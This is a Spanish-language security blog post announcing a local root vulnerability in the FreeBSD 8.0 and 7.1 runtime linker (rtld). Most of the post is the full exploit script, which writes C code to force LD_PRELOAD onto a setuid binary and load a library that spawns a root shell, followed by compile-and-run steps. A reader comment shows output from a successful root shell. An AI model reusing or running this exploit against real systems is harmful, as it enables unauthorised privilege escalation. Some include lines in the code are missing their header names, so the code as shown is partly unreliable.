Fallo en FreeBSD permite obtener root


Acaba de hacerse publica una descubierta por Nikolaos Rangos en los sistemas que permite escalar privilegios y obtener permisos de root en las versiones 8.0 y 7.1 de este operativo.

El error reside en el Run-Time-Link Editor (rtld), que normalmente no permite de entorno peligrosas como LD_PRELOAD pero con una técnica sencilla el rtld pueden ser engañado para que acepte LD, incluso en los binarios setugid.
VERSIONES DE FREEBSD AFECTADAS
**********************************
FreeBSD 8.0-RELEASE *** VULNERABLE
FreeBSD 7.1-RELEASE *** VULNERABLE
FreeBSD 6.3-RELEASE *** NO VULNERABLE
FreeBSD 4.9-RELEASE *** NO VULNERABLE

Para más detalles ver el exploit.

#!/bin/sh
echo ** FreeBSD local r00t zeroday
echo by Kingcope
echo November 2009
cat > env.c << _EOF
#include

main() {
extern char **environ;
environ = (char**)malloc(8096);

environ[0] = (char*)malloc(1024);
environ[1] = (char*)malloc(1024);
strcpy(environ[1], "LD_PRELOAD=/tmp/w00t.so.1.0");

execl("/sbin/ping", "ping", 0);
}
_EOF
gcc env.c -o env
cat > program.c << _EOF
#include
#include
#include
#include

void _init() {
extern char **environ;
environ=NULL;
system("echo ALEX-ALEX;/bin/sh");
}
_EOF

Para compilar y ejecutar

gcc -o program.o -c program.c -fPIC
gcc -shared -Wl,-soname,w00t.so.1 -o w00t.so.1.0 program.o -nostartfiles
cp w00t.so.1.0 /tmp/w00t.so.1.0
./env

Mas Información en el Full Disclosure publicado por Nikolaos Rangos

Si te ha gustado el post, compartelo y ayudanos a crecer.

Unete a nuestra Fanpage Siguenos en Twitter

Twitter Digg Delicious Stumbleupon Technorati Facebook Email

About DragoN

Ingeniero en Sistemas y Telecomunicaciones de la Universidad de Manizales. Information Security Researcher con más de 10 años de experiencias en Ethical Hacking, Pen Testing y Análisis Forense. Docente Universitario en Pre y Post-Grado, Speaker y Organizador de diferentes eventos de Seguridad Informática, Co-Fundador del ACK Security Conference y Creador de La Comunidad DragonJAR, una de las comunidades de seguridad informática mas grandes de habla hispana y referente en el sector.

2 Respuestas para “Fallo en FreeBSD permite obtener root”

  1. que siera saber si alguien tiene un manual de intalacion de free sdb 8.0 no lo he podido instalar soy nuevo en esto

    llego ala parte de las particiones y me quedo ahi

    alguna solucion gracias

  2. que bien, si me es util ya que necesitaba hacer algo asi con mi servidor
    $ ./env
    /libexec/ld-elf.so.1: environment corrupt; missing value for
    /libexec/ld-elf.so.1: environment corrupt; missing value for
    /libexec/ld-elf.so.1: environment corrupt; missing value for
    /libexec/ld-elf.so.1: environment corrupt; missing value for
    /libexec/ld-elf.so.1: environment corrupt; missing value for
    /libexec/ld-elf.so.1: environment corrupt; missing value for
    ALEX-ALEX
    # who
    xxxxxx ttyv0 Dec 2 14:10
    root ttyv1 Dec 2 14:14
    xxxxxx pts/0 Dec 2 14:11 (:0)
    xxxxxx pts/1 Dec 2 14:13 (:0.0)
    xxxxxx pts/2 Dec 2 16:07 (:0.0)
    #

Dejar un Comentario